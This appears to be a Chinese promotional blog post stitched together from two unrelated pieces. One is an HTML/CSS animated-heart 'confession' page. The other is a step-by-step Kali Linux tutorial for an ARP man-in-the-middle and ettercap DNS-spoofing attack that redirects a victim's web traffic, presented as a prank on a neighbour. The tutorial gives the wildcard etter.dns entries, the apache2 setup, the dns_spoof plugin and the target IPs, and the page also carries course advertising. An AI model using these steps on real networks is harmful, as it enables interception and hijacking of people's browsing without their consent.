果图如下:
以下为部分代码,由于太长就不全部贴出来了,需要完整源码点击链接获取,邀请码填写:11
[html]
今为了追到女朋友,众位男士也是掏空心思,绞尽脑汁想各种表白的新招式,务必给女神一个难以忘记的表白。程序员当然也不例外。既然学的是编程,那就要好好利用编程做一个与众不同的表白,那最适合的编程语言就是前端了,能够轻而易举的就做出各种让女孩心动的代码特效。
更多特效源码,编程资料,私信我1即可免费领取。
首先特效镇文:
今天我们讲的就是如何用代码做出一个爱心表白特效。源码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>520</title>
<meta name="description" content="">
<meta name="keywords" content="">
<link href="" rel="stylesheet">
<style>
*{margin: 0; padding: 0;}
ul,ol{list-style: none;}
a{text-decoration: none;color: inherit;}
.clearfix:after{content: '';display: block;clear: both;}
.clear{clear: both;}
body{
background-color: #8a0a0a;
}
.love{
display: table;
flex-wrap: wrap;
margin: 100px auto;
}
.box{
float:left;
width: 25px;
height: 25px;
border-radius: 2px;
margin-right: 2px;
margin-bottom: 2px
}
.box:hover{
background: #8a0a0a;
}
.box:not(.transparent){
background-color: #fff;
opacity: 0;
transform: translateY(-300px);
animation: move 4s infinite;
}
@keyframes move{
25%{
opacity: 1;
transform: translateY(0);
}
50%{
opacity: 1;
transform: translateY(0);
}
65%{
opacity: 1;
transform: translateY(0);
}
100%{
opacity: 0;
transform: translateY(300px);
}
}
.box.delay1{
animation-delay: .1s;
}
.box.delay2{
animation-delay: .2s;
}
.box.delay3{
animation-delay: .4s;
}
.box.delay4{
animation-delay: .5s;
}
.box.delay5{
animation-delay: .7s;
}
.box.delay6{
animation-delay: .9s;
}
p{
width: 1000px;
margin: 200px auto 0;
color: #fff;
font-size: 40px;
text-align: center;
}
</style>
</head>
<body>
<div class="love">
<div class="box transparent"></div>
<div class="box white delay6"></div>
<div class="box white delay2"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box white delay4"></div>
<div class="box white delay3"></div>
<div class="box transparent"></div>
<div class="box clear white delay5"></div>
<div class="box white delay5"></div>
<div class="box white delay6"></div>
<div class="box white delay3"></div>
<div class="box transparent"></div>
<div class="box white delay6"></div>
<div class="box white delay1"></div>
<div class="box white delay4"></div>
<div class="box white delay2"></div>
<div class="box clear white"></div>
<div class="box white delay1"></div>
<div class="box white delay4"></div>
<div class="box white delay2"></div>
<div class="box white delay6"></div>
<div class="box whitedelay3"></div>
<div class="box white delay6"></div>
<div class="box white delay3"></div>
<div class="box white delay1"></div>
<div class="box clear white"></div>
<div class="box white delay3"></div>
<div class="box white delay1"></div>
<div class="box white delay1"></div>
<div class="box white delay6"></div>
<div class="box white delay3"></div>
<div class="box white delay5"></div>
<div class="box white delay2"></div>
<div class="box white delay4"></div>
<div class="box clear transparent"></div>
<div class="box white delay6"></div>
<div class="box white delay1"></div>
<div class="box white delay5"></div>
<div class="box white delay1"></div>
<div class="box white delay5"></div>
<div class="box white delay3"></div>
<div class="box white delay4"></div>
<div class="box transparent"></div>
<div class="box clear transparent"></div>
<div class="box transparent"></div>
<div class="box white delay5"></div>
<div class="box white delay1"></div>
<div class="box white delay5"></div>
<div class="box white delay2"></div>
<div class="box white"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box clear transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box white"></div>
<div class="box white"></div>
<div class="box white delay2"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box clear transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box white delay1"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
</div>
<p>我爱代码,也爱你,虽然我不善言辞,请让我用我的方式说:我爱你!</p>
</body>
</html>
说没有黑客没有浪漫?先听首BGM膨胀下。。。
在我的视频专栏课程《白帽黑客kali渗透指南》,我已经深入浅出地讲解了ARP缓存攻击,使用我们的kali就能充当中间人,全面截获目标主机和互联网之间的流量数据,上网内容和图片也是一览无遗!想想也是细思极恐,这里重申一下,仅仅用作安全测试,切勿用于不当目的!
还没有学习ARP攻击的小白,可以点击下方《白帽黑客kali渗透指南》的专栏卡片进入。
ARP既然这么厉害,那DNS又是何物?DNS其实和ARP是类似的。
ARP协议指的是主机ip地址和MAC地址的关系,需要确定IP地址和MAC进行对应才能完成指定通信;而DNS顾名思义就是指DNS域名和IP的关系,将你访问的域名(www。baidu。com)通过域名解析服务器(又叫DNS域名解析服务器)将这个域名进行解析(先在本地域名解析服务器缓存中寻找该域名对应的IP地址,没有发现,就会去互联网的域名解析服务器查找,直到成功!),此时会解析成一个固定的真实的ip地址,然后实现双向通信。
你想一下,如果此时有恶意攻击者(我们的kali)充当中间人,在网段中进行广播,将自己伪装成一个本地域名解析服务器,然后把kali的ip和所有域名进行绑定,这就是实打实的DNS域名劫持攻击!
在kali的文本编辑器中输入以下代码:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/heml; charset=utf-8">
<title>I love you</title>
<meta name="keywords" content="test">
<meta name="description" content="test website">
</head>
<body>
<h1>不好意思,我爱你,所以黑了你</h1>
<a target="-blank" title="I LOVE YOU"><img src="./biaobai.png"></a>
<embed src="./biaobai.wav" autostart="true" loop="true" hidden="true"></embed>
</body>
<footer>
<p>来自隔壁小哥哥的爱</p>
</footer>
</html>
上图大概内容:这是一个html的网页,放置一张告白图片,添加一段音乐。
然后保存在主目录下!然后你将制作好的图片和音乐文件也要放在主目录下,如下图:
然后你要将这个index.html文件、以及代码中涉及到的图片biaobai.png、音乐资源文件biaobai.wav都要拷贝到kali的/var/www/html下,也是kali web服务器的apache2根目录。
Kali终端下输入:
su,进入root用户
service apache2 start
首先配置ettercap的dns域名解析文件
在kali终端中输入:
vim /etc/ettercap/etter.dns
然后进入编辑界面:
后面添加:
* A 192.168.31.206 (这是你kali的IP)
* PTR 192.168.31.206
注意:* 代表所有的域名
如图所示即可!添加这两行即可!
保存退出vim编辑!已经完成ettercap的dns攻击配置!
Kali终端下输入:
Ettercap -G
配置ettercap
设置插件:dns_spoof
扫描主机列表hosts-scan for hosts
设置目标1网关ip 192.168.31.1
设置目标2ip 192.168.31.6
设置ARP中间人
我们接下来模拟靶机win10通过浏览器来上网,比如浏览百度的首页:
在win10的浏览器下输入:www,baidu,com回车!
好无情,我们看到的不再是百度首页,而是我们kali web根目录下的表白网页,还自带"夜空最闪亮的星"!你说隔壁妹妹会不会惊喜?还是破口大骂"渣男!"?
想学习更多白帽黑客kali渗透技术的小白,点击小白都能学的kali渗透实战就能加入学习!
关注我,你能学到更多,给个赞,评论吧!
*请认真填写需求信息,我们会在24小时内与您取得联系。